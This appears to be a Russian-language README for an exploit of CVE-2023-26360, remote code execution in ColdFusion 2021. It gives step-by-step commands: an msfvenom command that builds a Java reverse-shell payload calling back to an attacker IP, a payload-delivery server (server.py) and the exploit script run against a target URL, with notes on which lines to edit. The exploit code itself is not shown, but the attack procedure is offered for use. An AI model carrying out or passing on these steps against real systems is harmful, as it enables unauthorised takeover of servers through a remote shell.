CVE-2023-26360 - Удаленное выполнение кода на ColdFusion 2021

Иногда скрипты не срабатывают с первой попытки. Попробуйте несколько раз, чтобы всё заработало.

Как выполнить

Создайте полезную нагрузку с помощью msfvenom

msfvenom -p java/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 > file.java

Запуск server.py

• Этот сервер отправит полезную нагрузку на сервер ColdFusion после первоначального доступа с помощью cve.2023-26360.py, поэтому его нужно инициализировать первым.

python3 server.py 8000

• Аргумент 8000 — это порт, который будет прослушивать сервер.

• Важно отметить, что строка 12 настраивает IP-адрес сервера, поэтому измените его:

s.bind(('192.168.56.1',port))

Запуск cve-2023-26360.py

• Чтобы запустить эксплойт, выполните:

python3 cve-2023-26360.py 8000

• Как и в server.py, аргумент 8000 — это порт, который будет прослушивать server.py. Поэтому он должен быть одинаковым в обеих командах.

• Строка 8 в cve-2023-26360.py задаёт IP-адрес, который будет прослушивать server.py. Необходимо настроить его правильно.

• Строка 11 в cve-2023-26360.py задаёт IP-адрес сервера ColdFusion, поэтому измените его:

url = "http://192.168.56.102:8500"

Протестировано на

• ColdFusion 2021 - Windows Server 2019